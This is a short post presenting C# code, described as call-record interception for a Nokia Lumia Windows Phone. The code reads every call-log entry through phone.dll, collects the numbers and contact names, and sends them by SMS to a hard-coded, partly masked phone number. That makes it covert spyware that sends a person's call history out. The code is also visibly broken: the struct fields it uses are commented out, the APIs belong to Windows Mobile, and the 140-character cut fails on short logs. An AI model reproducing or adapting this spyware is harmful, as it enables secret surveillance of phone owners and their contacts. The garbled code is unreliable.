Implement mobile phone call record interception for Nokia Lumia Windows Phone

Look at the code.

using System;using System.Collections.Generic;using System.Text;using System.Runtime.InteropServices;using Microsoft.WindowsMobile.PocketOutlook;namespace ReturnCall{    class Program    {        [StructLayout(LayoutKind.Sequential)]        public struct CALLLOGENTRY        {            /*            public UInt32 cbSize;            public UInt64 ftStartTime;            public UInt64 ftEndTime;            public short iom;            public bool fOutgoing;            public bool fConnected;            public bool fEnded;            public bool fRoam;            public short cidt;            public IntPtr pszNumber;            public IntPtr pszName;            public IntPtr pszNameType;            public IntPtr pszNote;             */        };        [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]        private static extern int PhoneOpenCallLog(ref IntPtr pHandle);        [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]        private static extern int PhoneCloseCallLog(IntPtr pHandle);        [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]        private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);        static void Main(string[] args)        {            {                string CallInfo = "";                try                {                    IntPtr handle = IntPtr.Zero;                    CALLLOGENTRY entry = new CALLLOGENTRY();                    PhoneOpenCallLog(ref handle);                    entry.cbSize = (uint)Marshal.SizeOf(entry);                    if (handle != IntPtr.Zero)                    {                        while (PhoneGetCallLogEntry(handle, ref entry) == 0)                        {                            string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);                            string name = Marshal.PtrToStringUni(entry.pszName);                            if (phoneNumber == null)                            {                                phoneNumber = string.Empty;                            }                            if (name == null)                            {                                name = string.Empty;                            }                            string temp = (phoneNumber.Trim() + name.Trim());                            CallInfo = CallInfo + temp;                        }                        PhoneCloseCallLog(handle);                        Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));                        sms.Send();                    }                    else                    {                        int error = Marshal.GetLastWin32Error();                    }                }                catch (Exception ep)                {                }                finally                {                }            }        }    }}